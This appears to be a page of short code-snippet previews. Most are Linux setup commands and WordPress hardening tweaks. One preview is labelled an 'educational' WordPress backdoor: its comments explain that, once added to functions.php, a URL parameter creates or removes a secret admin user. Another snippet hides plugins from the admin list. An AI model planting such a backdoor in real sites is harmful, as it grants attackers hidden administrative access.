This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
./configure | |
make | |
make install |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//WordPress backdoor for educational purpose | |
// Add to functions.php | |
// Go to /yoursite/?backdoor=go | |
// adds secret admin user to the database | |
// Go to /yoursite/?backdoor=leave | |
// removes secret admin user from the database | |
// Alt entr | |
add_action( 'wp_head', 'my_backdoor' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo mkdir /var/www/html/wordpress | |
download WordPress and copy files to this folder | |
touch /etc/apache2/sites-available/wordpress.conf | |
add these lines: | |
<VirtualHost *:80> | |
DocumentRoot /var/www/html/wordpress | |
<Directory /var/www/html/wordpress> | |
Options FollowSymLinks |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt install rfkill -y | |
sudo rfkill | |
sudo systemctl status Bluetooth | |
sudo /etc/init.d/bluetooth start | |
hcitool scan | |
sudo apt install bluez | |
bluetoothctl | |
sudo apt install blueman | |
blueman --help |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apt update && apt install firmware-iwlwifi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt install xserver-xorg-video-amdgpu | |
sudo apt install ricks-amdgpu-utils |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'all_plugins', 'hide_plugins'); | |
function hide_plugins($plugins) | |
{ | |
// Hide WordPress SEO by Yoast Plugin | |
if(is_plugin_active('wordpress-seo/wp-seo.php')) { | |
unset( $plugins['wordpress-seo/wp-seo.php'] ); | |
} | |
// Hide Akismet Plugin | |
if(is_plugin_active('akismet/akismet.php')) { | |
unset( $plugins['akismet/akismet.php'] ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function stop_pings ($vectors) { | |
unset( $vectors['pingback.ping'] ); | |
return $vectors; | |
} | |
add_filter( 'xmlrpc_methods', ‘stop_pings'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Redirect to the homepage all users trying to access feeds. | |
*/ | |
function disable_feeds() { | |
wp_redirect( home_url() ); | |
die; | |
} | |
// Disable global RSS, RDF & Atom feeds. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function remove_json_api () { | |
// Remove the REST API lines from the HTML Header | |
remove_action( 'wp_head', 'rest_output_link_wp_head', 10 ); | |
remove_action( 'wp_head', 'wp_oembed_add_discovery_links', 10 ); | |
// Remove the REST API endpoint. | |
remove_action( 'rest_api_init', 'wp_oembed_register_route' ); | |
// Turn off oEmbed auto discovery. |